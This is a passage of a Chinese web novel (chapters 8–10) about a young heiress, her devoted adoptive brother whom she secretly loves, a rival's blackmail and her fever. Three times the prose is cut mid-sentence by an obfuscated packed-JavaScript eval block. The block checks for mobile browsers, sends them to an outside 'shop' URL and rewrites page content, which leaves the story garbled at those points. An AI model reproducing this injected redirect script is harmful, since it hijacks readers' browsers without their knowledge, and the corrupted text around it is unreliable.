家里除了奶奶,都是坚定的唯物主义者,觉得这些都是无稽之谈,但爸妈却又另一层顾虑,担心她身体不好,家里冷清,她真的会孤独。 最开始是要给她找个玩伴的,可某天爸爸在做慈善工作去慰问偏远地区福利院的时候,意外得知一个身世可怜的孩子。 那个孩子的八字和方位,刚刚好对得上。 家里争吵了好几回,也商议了无数次,最终还是把他带回来了。 那是她第一次见杜少霆,看起来瘦弱异常,比她大了三岁,个头却和她差不多,他小时候很漂亮,像个小女孩,只眼神是倔强的,坚毅的,像个混身带刺的动物。 妈妈给他起名叫杜少霆,对外声称是双生子,只家族人知道怎么回事。 即便后来他不断跳级读书个头一窜三尺高,看起来要比同龄人都成熟稳重得多,也没人觉得不对。 但其实他的户口从来不在杜家,爸妈为他准备了一笔信托基金,并不算多,但足够在他不挥霍的情况下保障他一生无忧。 他们一起长大,一路陪伴,如果顺利的话,等她成年他就要离开杜家了,但谁也没想过,是意外先到来。 于是预定的分别变得不可分离,他们成了彼此唯一的依靠。 他接手杜家的时候顶着巨大的压力,谁都知道他名不正言不顺。 但谁也不敢率先拆穿,撕下杜少霆的皮,那势必成为看热闹的人目光聚集的焦点,那他们内心的小九九将无所遁形。 每个人都揣着脏心烂肺,但还试图保留那一层伪善的面具。 他是她最坚固的盾,于是杜若枫做了他最锋利的刀。 作为家族第一顺位继承人,她在律师和第三方见证人以及几个相熟的可以信任的朋友亲人的见证下,她把杜少霆列为了自己的意定监护人,以委托的形式委托他全权打理公司。 那些年他无论做什么,都受掣肘,谁都想要把他踩下去,但无论别人下多少套,在她耳朵吹多少耳边风,杜若枫只说过一句话:“哥,我信你。” 为了这句信任,他快把自己熬干了。 公司被他做的风生水起,她每年什么也不干都有无数的钱进账,毕业了可以做自己想做的事,想不开宁愿折腾自己也不愿去帮他忙,害怕自己一旦插手,他就会想要后退,把大权还给她。 他快乐吗? 杜若枫从没问过,可以前还能看到他笑,好像很久都没看到过他神态放松的样子了。 杜若枫恍惚了一瞬,突然觉得,自己挺坏的。 因为她心疼还没来得及发酵,她先侧过头注意到了不远处一直担忧盯着她的方晨辰,在沉默两秒种之后,她把毯子拿开了,她指了指方晨辰,眼神带着几分警告,意思是,不许跟我哥说。 但她也清楚知道,这意味着,下一秒杜少霆就会知道。 她又在不自觉地算计他。 真的太坏了,杜若枫。 但她几乎算是杜少霆带大的,所以他要负责。 她这样强词夺理地合理自己的行为,指骨敲着冰冷的栏杆,沉默地等着杜少霆能忍多久不来找她。 8. Chapter 08 宴会冗长,钟奕明直到最后才露面,一大帮媒体顿时涌上去,他同几个主办方交流寒暄,身边众星拱月。 兰婷婷等在附近,十几分钟了,找不到任何机会,急得直跺脚。 方晨辰在旁边一直坐壁上观,一副无能为力并不打算积极争取的样子,兰婷婷才意识自己又打了一场无准备的仗,顿时脸一阵青一阵白。 其实杜若枫提醒过她,这种场合,钟奕明作为重要嘉宾,几乎没有私人时间的。 但兰婷婷不听,她就觉得事在人为。 好言难劝该死的鬼,杜若枫一向不喜欢多管闲事,于是闭了嘴。 但兰婷婷这会儿想起来,只觉得杜若枫早知道等着看她笑话。 扭过头没看到杜若枫,更是火冒三丈。 杜若枫在露台。 方晨辰很早就汇报给了林森,说杜小姐在这里,但后来看杜若枫状态不对,还是亲自给杜少霆打了个电话。 她只有对方的工作电话,秘书苏薇接的,听到是杜小姐的事,径直走向会议室,把电话给了杜总。 “知道了。”他只说了这么一句。 但方晨辰还是松了口气。 不知道为什么,总觉得他能处理好关于杜若枫的一切,这种强烈的感觉甚至比相信他的工作能力更盛。 或许……是因为目睹过太多次。 杜少霆对自己妹妹的看重,人尽皆知,以至于很早之前就流传着:惹谁都好千万别惹他妹妹,别以为那是他软肋就敢不要命去戳,怎么死都不知道。 方晨辰本来不想打扰杜若枫,但看她情绪消极低沉,外面风雪肆虐,她披着厚毛毯依旧显得单薄,于是她还是走了出去,冷风从周身切过,她狠狠打了个哆嗦,只觉得骨头缝里都是冷的,于是眼前人那平静脸上泛出的愁绪便更显得忧郁了。 她开口:“杜小姐。” 杜若枫没有回头,只是说了句:“你跟我哥告状了。” 肯定句。 方晨辰不知道怎么回答,索性闭嘴。 杜若枫费解:“我看起来很叛逆吗?都这个年纪了,为什么所有人都帮着他监视我。” 监视这个词略重。 方晨辰哑口无言,甚至有些恍惚,好像突然才反应过来,杜若枫已经不是小孩子了。 她倏忽也觉得自己的行为似有不妥。 “抱歉……杜小姐,我没有恶意,只是有些担心你。我也一直很感谢你,多谢你当年救了我小妹。” 方晨辰有个妹妹,和杜若枫同岁。 方家那年遭受变故,家里长辈无德烂赌,四处欠下高利贷,追债的人手伸向了最柔弱的女儿身上,谎称是母亲的朋友要带她去外地。 女孩犹豫,被强行拖拽,但因为人多,不慎叫她跑了,女孩仓皇逃窜,翻越护栏的时候从八楼掉下去,摔在铁皮棚顶,手扣在边缘,指甲都抠出血来,也还是没能坚持住,最后坠落湖里。 杜若枫跳下去救的。 那是父母去世没多久,她还没成年,为此差点被杜少霆骂死。跟着她的保镖因为被她支走而全部惨遭开除,从此她的身上多了两个固定的定位器。 那也是杜少霆第一次对着她发火。 杜若枫:“不用放在心上,没有人能做到袖手旁观。” “但只有您去救了。”寒冬腊月的天气,湖水虽然还没结冰,但却依旧冰冷刺骨,旁边也不是只有她一个,却只有她这么做了。 当时小妹还有外伤,她畏水,如果真的耽误下去,不知道会有什么后果。 这恩情,她记一辈子。 “如果您想要联系钟奕明,我可以想办法。”方晨辰主动说。 欢亚的事她早有耳闻,兰婷婷又一直往钟奕明身上使劲,她不用猜都知道她们要干嘛。 杜若枫侧头,神色缓和很多:“谢谢,但不用了。” 没意思。 什么都没意思。 杜若枫回身:“进去吧,天冷。” 自己一个冻这么久也不说什么,却害怕别人冻伤,其实杜若枫骨子里就是太过良善,所以杜少霆始终严防死守怕她受伤害。 钟奕明径直朝着杜若枫走过来的时候,全场的目光都落在她身上,包括眼神不解的兰婷婷。 连杜若枫自己都愣住了。 “怎么不冻死你呢?好好的玩什么忧郁,你来我这边出点什么事,你哥还不砍死我。”钟奕明不知道从哪里找来一杯热水,递给她,“喝了。” 杜若枫还以为杜少霆会来,没想到叫钟奕明过来代管,顿时心情十分不爽地推开那杯水:“不喝。” 男人一身黑色西装,看起来和杜少霆一般大,但其实要大好几岁。 杜少霆天天就是太严肃,以前就一副少年老成的样子,年纪轻轻看起来就一把年纪。 杜若枫觉得自己没救了,看到什么,首先想到的都是他。 钟奕明过来的时候交代了贴保,人群被隔离在几米外,但目光却全部聚集在这边。 “你离我远点,我可不想跟你闹绯闻。”杜若枫拧着眉压着声音说。 “怎么,跟我闹绯闻委屈你了?”钟奕明长了一张痞脸,看起来不是很正经,尤其笑起来。 “我哥跟你说什么了?”杜若枫声音有点闷,她还是好奇。 “没说什么,就说让我看着你,他待会儿来接你回家。” 杜若枫才终于心情好了一点,顺便抬头问他:“邀你拍戏,你去不去?” “邀我给你擦屁股还差不多,你就这态度?”钟奕明多多少少也听说了,兰瑞平那边旁敲侧击来打听过,经纪人发了话,说他要敢接他就去跳楼。 说实话钟奕明自己都没多大兴趣,杜少霆亲自来,没有足够的饵,他也不会管这团烂摊子。 “省省力气,我跟你透个底,就算你把你哥搬来,我都不会考虑。”那边经纪人在催了,他拍了拍杜若枫的肩,“所以别白费力气了。你哥最近不是跟你物色佳婿呢,你实在闲的慌就找两个青年才俊谈谈恋爱,出去玩一玩,整天折腾自己,我看你就想折腾你哥,你累死他算了。” “什么?”杜若枫脑子嗡了一下,不可置信地仰头。 钟奕明以为自己最后一句话说太重了,找补一句,“知道你肯定本意不是这样,但你哥你又不是不知道,整天又当爹又当妈的操不完的心,你折腾自己他就觉得都是他的错。你开心点,他也轻松点。别趟娱乐圈这趟浑水了。” 钟奕明难得说几句人话,但杜若枫却心不在焉,满脑子都是那句:你哥最近不是在跟你物色佳婿呢。 其实她看到了,杜少霆的笔记本里有个文件,里头都是些年龄和她相仿的男人的个人信息。 她当时就好奇,没想到是这样。 这一瞬间,她只觉得浑身的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051945|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 液都往脑子里冲,她整个人都在微微发着抖。 他什么都知道,什么都清楚,不拒绝她,却拿软刀子割她,还默默预备着把她往外推。 好,挺好。 她脑子发懵,钟奕明什么时候走的她不知道,兰婷婷什么时候过来的她也不知道,只知道兰婷婷自己踩着自己裙子没站稳却倒打一耙是她推她,她也没来得及反应,只是眼神空茫地看着前方,那巴掌扇过来的时候,她本能反应躲了一下,但侧面看,还是像是挨打了,因为她的情绪看起来很差。 她抬眸看向兰婷婷的时候,眼神终于清明了些,她冷笑一声:“你这么恨我,是不是早就猜到我是杜少霆的妹妹,但不敢相信,也不敢拆穿。” 她逼近两步,仗着身高压制对方,微微俯身看她:“没错,你的黑料是我放的,你走到今天这一步是我间接造就的,你千不该万不该去招惹杜少霆,我不允许他沾上任何脏东西。” 兰婷婷被她眼神吓到,后退半步,想起很早之前听说过的一件事:“你对你哥抱着这种肮脏想法,你哥知道吗?” 爱欲是如此明显,深陷其中的人难以掩藏,连兰婷婷都看得清楚。 杜若枫笑了笑,也不知道是自嘲还是怎么,那笑容甚至有点解脱的意味:“关你什么事。” 她转身就走,越走越快,径直离场。到了停车场才发现,杜少霆已经到了,他坐在车后座,膝盖上放着笔记本电脑,表情严肃地低头处理邮件,微弱的蓝光映照在他冰冷的镜片上,看起来是一种陌生的生人勿近感。 他在外面和在家里是完全不同的人。 她拉开另一侧车门坐进去,伸手合上他的电脑,杜少霆素来脾气不好,没人敢这么对他,但杜若枫不管做什么,他都一副好脾气的样子,也不管被破坏什么,损失什么。 他只是问她:“心情不好?” 杜若枫低头,胸腔像压抑的气球,快要爆炸了,她深呼吸了两下,再次挑明:“我早上问了那么多,你一句都没回答我。” 杜少霆声音严肃:“若若!” 那是打断她的意思,潜台词是:不要再说下去了。 杜若枫点点头,但却并不买账,直问:“钟奕明说你在给我物色结婚对象。” 杜少霆沉默好几秒,然后坦然认下:“嗯。”像个迂腐的长辈一样,说,“你年纪不小了。” 杜若枫觉得自己大概是气疯了,情绪竟然前所未有的平静,她甚至有点想笑,然后是巨大的茫然和迟来的钝痛。 她点点头:“好,挺好。但我不选,你替我选,只要是你选的,我都认,我结婚了,生孩子了,或许你就解脱了,是不是?好,我成全你。” 杜少霆听出她在赌气,微微叹了口气。 杜若枫却抢先一句说:“我没有赌气,我说真的,我累了,哥,我不想逼你,我想清楚了。” 这一句真诚许多,但杜少霆还是侧头看了她许久,到最后也没法确认她在想什么。 她长大了,心思变重了,不再是那个什么都写在脸上的小姑娘了。 “或许只是雏鸟情结,可能我把目光从你身上挪开,一切都会回归正轨。我放过你,可能也是放过我自己。”杜若枫深呼吸,笑了下,像在喃喃自语,“哥,我不为难你了。” 杜少霆本该感到松口气。 但心情却丝毫没有任何放松的迹象,反而越发沉重。 9. Chapter 09 杜若枫收到一条短信: 【你真的以为我拿你没办法?】 附带一张照片,是周周裸着上半身背对镜头和人接吻的画面。 打了很大的马赛克,但杜若枫还是一眼就认出来了。 天娱第一个签的艺人,当年差点被埋了就是因为这张照片,后来多次被扒出来翻炒过,但都不了了之,一方面是杜少霆手段硬,一方面是周周自己争气,戏好,人品也好,积攒的口碑替她抵消掉了很多负面消息。 这张照片大概有个十年了,照片上是她出道前和初恋男友的,也是那个人渣自己爆出来的,他手里有很多亲密照,当初拿来卖钱,是杜少霆一张一张买下来销毁的,这张至今清理不干净,也是因为是最先传播出来,范围太广。 不过经历了好几轮的稀释,到现在相信的非常相信,不信的也就只当是假的了。 但黑料这种东西,反复炒作可能会稀释掉,也有可能在不断累积中一瞬间点爆,这个圈子一向残酷,风向瞬息万变,谁也不敢说自己立于不败之地。 杜若枫眯了下眼睛,用一个新号发来的消息,但不用猜她都知道是兰婷婷。 她也清楚兰婷婷什么意思,多事之秋,娱乐圈大震荡,趁机浑水摸鱼放对家黑料的也多不胜数,目前天娱还算安稳,但放一颗炸弹进来,会引发什么多米诺骨效应,谁也不能预料。 杜少霆的强硬这些年没少给自己树敌,但轻易不会有人敢来跟他碰,心狠手黑的人往往底线也低,真拼起来,多半是要杀敌八百自损一千。 但现在情况不一样,太乱了,是敌是友分不清,到处都是点炮仗看热闹的,真挑出点事儿来,根本压不下去,且很难溯源。 「你的诉求是什么?」杜若枫思忖片刻,回她。 「我要你退出《浮城》这个项目并且仔细交接保证投资方不撤资,当面鞠躬跟我道歉,联系媒体撤销你对我的所有抹黑,然后辞职离开欢亚,滚出A市。我对你够宽容了吧?」 「可以。」 兰婷婷许久没说话,大概是没想到她会答应的这么爽快,反而不知道怎么接话。 杜若枫握着手机,抬头看了一眼虚空。 快到家了。 疲惫让她感觉一种浓重的厌倦,以前觉得家是港湾,难过了孤独了累了都想回去。 其实只是因为家里有杜少霆。 哥哥。 这两个字曾经是她觉得最温柔的文字,可到头来变成尖刺扎在她胸口。 “我今晚回望海住。” 是她那栋小公寓。 杜少霆再次沉默,以前总反复想要划开些界限,但真到这一步,他却感到一种浓重的不安和自责,明知道这样是最好的结果,但却能听到自己内心不断妥协的声音:为什么要这么逼她呢?两个人相依为命这么多年,放她一个人,他真的舍得吗? “我送你回去。”他最后也只是这么说。 杜若枫倒是没拒绝,点点头:“嗯,谢谢。” 很礼貌,很客气,也很疏远。 这是她第一次跟他说谢谢。 杜少霆的喉咙像是堵住了,半晌才说一句:“若若,不要赌气。” 杜若枫笑了下,摇摇头:“没有,你放心哥,我没那么幼稚,我也不会怎么样,你还是我最亲的人,只是总要给自己画条界线,好时刻提醒自己不要迈过去。哥,我也没别的办法了,没有要疏远你的意思,可你说的对,我长大了,该有点分寸。” 她语气真诚,杜少霆哑口无言,平日里的强势荡然无存,像个孩子到了叛逆期但无能为力的老父亲。 何况孩子看起来是懂事了,他明明应该感到欣慰的,却实在高兴不起来。 过了好一会儿,他也没能想出什么说辞,只是叮嘱:“一个人住别应付自己,我叫静姨来照顾你,你不喜欢她住家里,就让她住楼上。” 他把楼楼上楼下都买了,原本只是预备着怕她觉得吵。 杜若枫点点头:“好。” 她再次微笑,好像又回到小时候,她脾气一向很好,但带着些微的疏离,跟谁都保持着礼貌客气的距离感。 她从小就跟他最亲近,有时候连爸妈都会嫉妒,没想到有一天自己也会有这种待遇。 “晚安,哥哥。”她退开半步,笑容浅浅。 “晚安。” 他目送她下车,不放心,还是推开车门走下去,跟在她身后,不远不近的距离,一直送她到进电梯。 杜若枫也没说什么,表情始终淡淡的,电梯门合上的时候甚至还在对他笑,挥挥手:“再见,哥,回去吧。” 那样平静的温和的不带任何不舍和赌气情绪的告别,好像很早就没有过了。 她总是用一种挽留的眼神看着他,每次都要说:哥,我不想你走。 他每次都要安抚好几遍,每次都要保证:我很快会再来看你。 她才能放他走。 不知道该摆出什么情绪,到最后只感觉到一种难言的怅然若失。 杜少霆原地站了很久,久到杜若枫发消息告诉他:我到家了哥哥,路上注意安全,早点休息。 他手指悬停在对话框很久,想说自己一个人要好好吃饭好好睡觉,想说想家了随时回去,想说……想说的太多,不放心的也太多,但她刚学着要从他身上移开目光,他的关心大概也是一种负担,于是最后只回了句:好。 他转身,跨过旋转门,被风雪灌了满怀,又想叮嘱她出门记得穿厚一点,风雪太大记得叫司机来接,别自己一个人开车,不安全。 旋即又摇头,怎么操不完的心。 可思来想去,还是担心,于是靠在车头烦躁地抽了根烟,路灯斜斜打在他身上,呢料的大衣挡不住严寒,彻骨的冷意削不掉他的忧心,于是仰着头,不知道怎么办了似的,徒劳看着那盏亮着灯的小窗。 不知道过了多久,灯暗了。 大概是睡了。 他也该回去了。 拉开车门坐进去,司机小声请示:“先生您去哪儿?” 想说回家,可那房子,她不在了,顿时就觉得冷冰冰的。 “去公司吧。” 这个时候了,最忙的部门也早就下班了,总裁办一个人都没有,他只开了一盏灯,坐在偌大的办公桌前,第一次感觉到茫然无所适从的空落,不知道自己在干什么,也不知道自己该干什么。 手机又响了,他立马拿起来看,只是一条扣款短信,她半夜不睡觉在网购。 她手里几张卡都是他的副卡,她很少动,只一些大额消费会从上面出。 手机断断续续响了好几下,都是一些扣款信息。 他就那么盯着看,猜测她此时的心情。 想给她最好的,想满足她一切愿望,想让她无忧无虑一辈子幸福快乐,但好像总是差一点。 消息停了,她以往会高高兴兴分享自己买了什么东西,今天一句话也没有说。 他点开她朋友圈,看到一条最新动态。 一张合照,四五个人,有男有女,在她家里。 她笑得很灿烂,挺高兴的样子。 她的朋友她都认识,从学生时代就玩在一起的只有两个,梁思悯和路宁,都不在照片上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051946|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拧着眉很久,不安感越来越盛。 都是些什么人,知道根底吗就带回家。 什么时候去的,他怎么不知道? 送走了没有? 他脑海里转了三四圈,最后勉强平复下心情,算了,她大了,不应该这么草木皆兵。 管太多了她又要生气,说他不给她空间。 她好不容易有自己的生活,不围着他转,他应该尊重她,给她足够的自由。 管太多是病,杜少霆,你踏马省省吧她又不是三岁小孩。 但…… 但万一出事了呢,他一辈子都不会原谅自己。 杜少霆被这一句话打破所有建设好的心理防线,一个电话打了过去。 响铃三秒,杜若枫就接了起来。 “哥?有事吗。”她声音带着鼻音。 “宝贝,大半夜还接电话啊。”那边隐约传来声音。 是个女生,但显然跟她一起睡的,杜少霆顿时烦躁起来。 一想到她身边有他不认识的人就烦的要命。 “嗯,我哥,没事你睡吧。” 那边传来窸窸窣窣的声音,她下了床,去阳台:“我朋友睡了,我出来跟你说。怎么了,出什么事了吗?” 她的声音很平静,带着点被吵醒的慵懒。 片刻后,似乎没等到他回答,她恍然想起来,“是因为我刚买东西吗?不好意思啊,用错卡了,我有钱,也不买什么贵重东西,给朋友选了几件礼物,下次我注意。” 很礼貌,很客气。 很……让人不爽。 “跟我客气什么,我的都是你的。”他的语气硬邦邦的,转折生硬地说,“不要随便带陌生人回家。” 杜若枫笑了下:“不是陌生人,我的几个朋友,以前在你那边住,他们不好意思去家里,今晚他们正好在附近,就来玩一会儿,太晚了我就让他们住下了。” 她已经不把那里称作家了。 杜少霆想说,你的朋友我就没有不认识的,你哪门子朋友。 可这样说太咄咄逼人,虽然她一向不在意他管太紧,但这么直白地说出自己一直清查她周围一切,还是有些过分。 杜少霆闭了嘴,到最后只说出一句:“照顾好自己。” “会的,谢谢哥。”她语气温和,“那我睡了,再见。” 又说谢谢。 草。 杜少霆挂了电话许久,都想不明白自己到底在不爽什么。 他打开电脑,开始处理一些积压的工作,靠工作来麻痹自己。 直到天蒙蒙亮才去休息室躺了一会儿。 做了个梦,梦到她结婚,同新郎交换戒指,对方站起来和她一般高,他顿时觉得天塌了。 哪来的歪瓜裂枣,也配? 他猝然惊醒,胸口剧烈起伏了两下,吐出一口郁气。 他翻开笔记本把那份资料从头到尾又看一遍,最后得出十分刻薄的结论:一群残次品。 他把文件发回给梁思谌:衍城就没几个条件过得去的男的? 这份资料还是梁思谌托人整理的,内容之全面,人员之精挑细选,几乎是按照丈母娘选女婿的标准来的,身高一米八是硬性条件,五官端正是最基础的,家庭资产远低于杜家的都不在考虑范围内,全都是父母健在家庭合睦资产丰厚加自身硬件软件都过得去的,有个条件非常好但兄弟三个家庭稍微不那么和谐的他都没敢放进去。 衍城就算来个青年才俊选秀101都不会比这个目录更权威了。 梁思谌也重新翻了一遍,然后回他:你踏马想找茬直说。 10.Chapter 10 梁思悯把杜若枫从被窝里挖出来的时候,她正在发着烧,高烧三十九度二,再烧下去估计就要烧傻了。 “醒醒,若若?怎么回事啊,烧成这样也不知道叫人。”梁思悯一边拍她脸,一遍扒她眼皮,生怕她是昏过去了。 早上联系她出门去吃早饭结果一个小时都没得到回复,正好离得不远就过来找,没想到她竟然发烧成这样。 她忙活半天才想起来给杜少霆打了个电话,急切说:“若若发烧了,你过来一趟,我弄不动她。” 杜若枫像是惊醒似的,颤了一下,鼻音浓重地哼出一口热息,挣扎说:“不用了,我叫了裴医生,待会儿就过来了。” 说完又接过电话:“哥你不用来,我没事,待会儿约了人,也不方便。” “生病了不好好休息还要干什么?约了谁?”杜少霆的声音冷冰冰的,带着些微愠怒,才一晚上没见怎么把自己折腾成这样了。 恍惚又想起她昨天在那里吹冷风,不该放任她不管的,怪他大意了。 “一个朋友,你不认识。” 对面模糊传来梁思悯微弱的气声:“宋思明他哥?不好吧……” 声音到这里就断了,大概是被捂住了听筒,过了片刻,杜若枫的声音又传来:“哥我没事,休息一下就好了,你忙你的吧。” 说完就挂了。 杜少霆喘出一口浊气,扯了下发紧的领带。 裴舒朗他有什么不认识的,追她追到大学去,结果本来就在隔壁的医学院上学,可他不知道前两年是在旧校区上课,离了十几公里远,但他还是每周去一趟,找各种借口偶遇。 他还有个弟弟,兄弟俩一脉相承的不要脸。 - 宋思明被叫去办公室的时候一脸忐忑,他最近觉得老倒霉了,前几天陆总才刚叫他谈完话,问了他一些莫名其妙的问题。 不过最近圈子里乱的很,各种丑闻频发,他想公司摸底也是正常的,就老老实实都交代了。 他家庭关系还是有点复杂的。 爸妈都早早离婚另嫁另娶了。 他有个同母同父的哥哥,哥哥叫裴舒朗,至于他为什么姓宋,也不是随妈姓,是随了后爸的姓,因为他妈嫁过来的时候,还怀着前夫的孩子,而他后爸毫不介意,他妈为表感激,就让孩子跟后爸姓了。 这事儿前夫一家都不知道,是后来宋思明跟亲爹长得越来越像才东窗事发。 老裴和老宋势同水火,宋思明和裴舒朗亲兄弟相见分外尴尬。 “不过陆总您放心,虽然他们关系一般,但不是拎不清的,不会闹出什么事,我和我哥关系也不错,没有什么隐患。” 但陆总看起来还是愁眉不展,“感情问题呢?” “我单身,之前就谈过一次。” “谈过一次?”陆铮问。 宋思明点点头,不是很好意思:“应该也……没什么,上学时候谈的,比较懵懂,人挺好的,也没矛盾,和平分手,她家庭好,性格也好,也不会做什么的,估计人都不大记得我了。” 陆总的眉头拧得越发死,宋思明后背起了一层冷汗,心道形势这么严峻了吗?这点事竟然也叫事? 思来想去,搜肠刮肚地为自己辩解了两句:“人现在在国外都定居好几年了,我俩这辈子估计也不会有交集了。” 陆总听到国外定居莫名长舒了一口气,拍了拍他的肩,似乎有什么想说的,可嘴巴张合好几次都没能说出点什么,最后莫名其妙问了句:“你跟杜小姐认识?” 杜小姐…… 宋思明恍然,再次不太好意思地点头:“算……也不算……我俩中学时候同班同学,后来就没联系了,去年她拍戏要借我家房子,我们约着吃过几次饭。” 陆铮仿佛是不信,追问:“没了?” “没了。” 到最后也没告诉他问这些干嘛,心事重重地让他走了。 这才过去一天,没想到大老板会找他。 宋思明敲开杜少霆办公室门的时候,杜少霆正靠在落地窗前抽烟,听到敲门声扭了下头,打量他片刻,说:“坐。” 宋思明不敢坐,也不敢不坐,这还是他第一次面对面和杜少霆说话,上学那会儿就觉得杜若枫她哥吓人,气场太强,说话做事都强硬,让人发怵。 “跟你哥打电话。” 啊? 宋思明没听懂似的,仰着头看了杜少霆好几秒,意识到对方应该不会跟他开玩笑,吞咽了口唾沫,掏出手机拨给裴舒朗。 然后再次抬头,意识是:然后呢?我要干什么?这是怎么了? “不管他说什么,把他约出来。” 杜若枫迷迷糊糊又睡着了,半梦半醒着,大脑一片混沌,她听得到梁思悯在她旁边说话,可无论如何都难以集中注意力,听在耳朵里一片模糊的嗡鸣。 梁思悯握着她的手,时不时拿冷毛巾给她擦一擦,她知道是悯悯,可还是恍惚会觉得身边是杜少霆。 像回到小时候,那会儿经常生病,家里有家庭医生,照看她的阿姨也专门请的有医学专业背景的,可她挑剔、认生,生了病只让杜少霆靠近。 只比她大三岁的哥哥,便承担起了不该他担负的责任。 那时候年纪小,不懂得恩情是种枷锁,也不管他是出于报恩还是真心疼爱,只记得他对她的好。 他比她自己都了解她。 裴舒朗来了,拎着药箱,梁思悯请他进来的时候,打量他片刻,从他那关切的眼神里看出他对若若还是有意思,不由好奇,杜若枫以前十分划清界限,怎么这会儿反而让人登堂入室了。 “裴医生。”梁思悯请他去卧室,“辛苦你跑一趟了。” 裴舒朗笑了下,“应该的,做医生的是看不得病人受苦的,就算是陌生人需要,我也会义不容辞。何况我和小枫认识这么久了。” 梁思悯也笑:“裴医生宅心仁厚。” “不敢当,不敢当。” 两个人十分生硬地客套寒暄,梁思悯带他进了卧室,杜若枫不常在这边住,整间房子跟个样板房似的没有人气,卧室里也没什么居住痕迹,跟酒店也没两样。 裴舒朗弯腰查看她状态。 “刚量过体温,一直在三十九度以上。” 裴舒朗有些担忧地叹气,低声询问杜若枫:“有没有别的地方不舒服?” 杜若枫有气无力地抬眼,眼前似乎有重影,恍惚看到是杜少霆在叫他。 但脑海里依旧清楚,这不是他。 但又放纵自己沉溺在那片刻虚假的幻觉里。 他抬了下手,想触摸眼前人,旋即又放下了。 努力保持理智,叫了声:“裴舒朗。” “嗯。”裴舒朗第一次听她完整叫自己名字,有点疏离和冷淡,但意外很好听。 “还有哪里不舒服?”他再次问。 杜若枫的呼吸粗重,整个人被烧得通红,有气无力说:“没有。” “你可能还是得去一趟医院。”裴舒朗面露担忧。 “我不想去。”杜若枫把脸埋在被子里,声音带着几分赌气和撒娇意味。 裴舒朗印象里的杜若枫都是温和但疏离的,从来见过她这个样子,一时之间竟然不知道作何反应,只好抬起头看梁思悯。 梁思悯叹了口气,趴过去摸了摸杜若枫的头:“听医生的,好不好?” 杜若枫抓住梁思悯的手,贴在自己滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056082|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫的脸上,艰难地睁了睁眼,又疲惫地闭上,声音都哽咽:“我不想去医院,悯悯。” 父母去世后,她就害怕医院,梁思悯越知道这回事,越觉得心疼。 “好好好。”她又抬头去看裴舒朗,意思是,你想想办法啊。 两个人面面相觑,各自为难。 突然,裴舒朗接了个电话,是宋思明打来的,找急忙慌说:“哥你快过来,有急事,十五分钟,快点,你不来我就死定了。” 什么鬼?裴舒朗还没开口骂,宋思明就挂了电话,然后给了他一个地址。 倒是不远,但什么急事非要赶这么紧。 他打电话回去,却已经没人接了。 也不知道在搞什么鬼。 俩人关系还行,但毕竟不是一起长大的,没什么共同语音,也没有多深厚的兄弟情义。 可挂了电话,裴舒朗还是直犯嘀咕,万一真出点什么事,他真没办法跟爸妈交代。 算了,还是去看看。 裴舒朗抱歉地看了一眼梁思悯,快速给杜若枫做了个物理降温,开了点药,写了注意事项,叮嘱她过会儿还是没退烧,务必去医院。 “我有点急事,真的对不住了。我得先走了。” 梁思悯点头说了好,然后裴舒朗就急匆匆走了。 “还以为他那么喜欢你,肯定是你重要,没想到一通电话就被叫走了。”人走了,梁思悯吐槽一句,“男人的深情都是假象,这世上我看唯一能把你当眼珠子呵护的,只有你哥一个。如果是他,就算说下一秒不去会死,他都要先把你安顿好。” 杜若枫再次把脸埋进去,小声嘀咕:“可他不要我。” 梁思悯也不知道怎么安慰,这是个无解的命题,她主观上绝对支持自己闺蜜,可客观上也非常清楚以杜家现在的局势,打破平衡很容易全面崩盘,俩人在一起几乎是件不可能的事。 梁思悯沉默片刻,也只好说一句:“睡吧,睡一觉就好了。” 吃的药里有安眠的成分,杜若枫闭上眼没多会儿就坠入梦境。 但睡不踏实,迷迷糊糊的,还是能感觉到梁思悯不停地给她贴退热贴,擦手,量体温。 她做了好多的梦,碎片的,连不起来的,可大约都是年少时光的碎片,明媚又忧伤。 好怀念以前,无忧无虑,不识愁滋味。 那时候杜少霆和她形影不离。 “梁思悯”又在给她擦脸,她突然就哭了。 那双手又温柔地替她擦掉眼泪,问她哪里不舒服。 她指了指自己的心脏:“好疼,好闷。” 对方沉默了,她以为“梁思悯”没听懂,抓了那双手按在自己胸口:“我喘不过气。” “若若,我们去医院好吗?” “我不去。”杜若枫睁开眼,眼皮烫的要命,呼出的浊气也是烫的,她抿了抿干裂的嘴唇,突然说了句,“我哥不要我了,悯悯,我没有家了。” “没有不要你,怎么会不要你。”杜少霆擦掉她的眼泪,俯身把她从被窝里挖出来,什么界限什么分寸,他早已经无暇顾及,只是恨不得给自己两耳光,为什么没照顾好她。 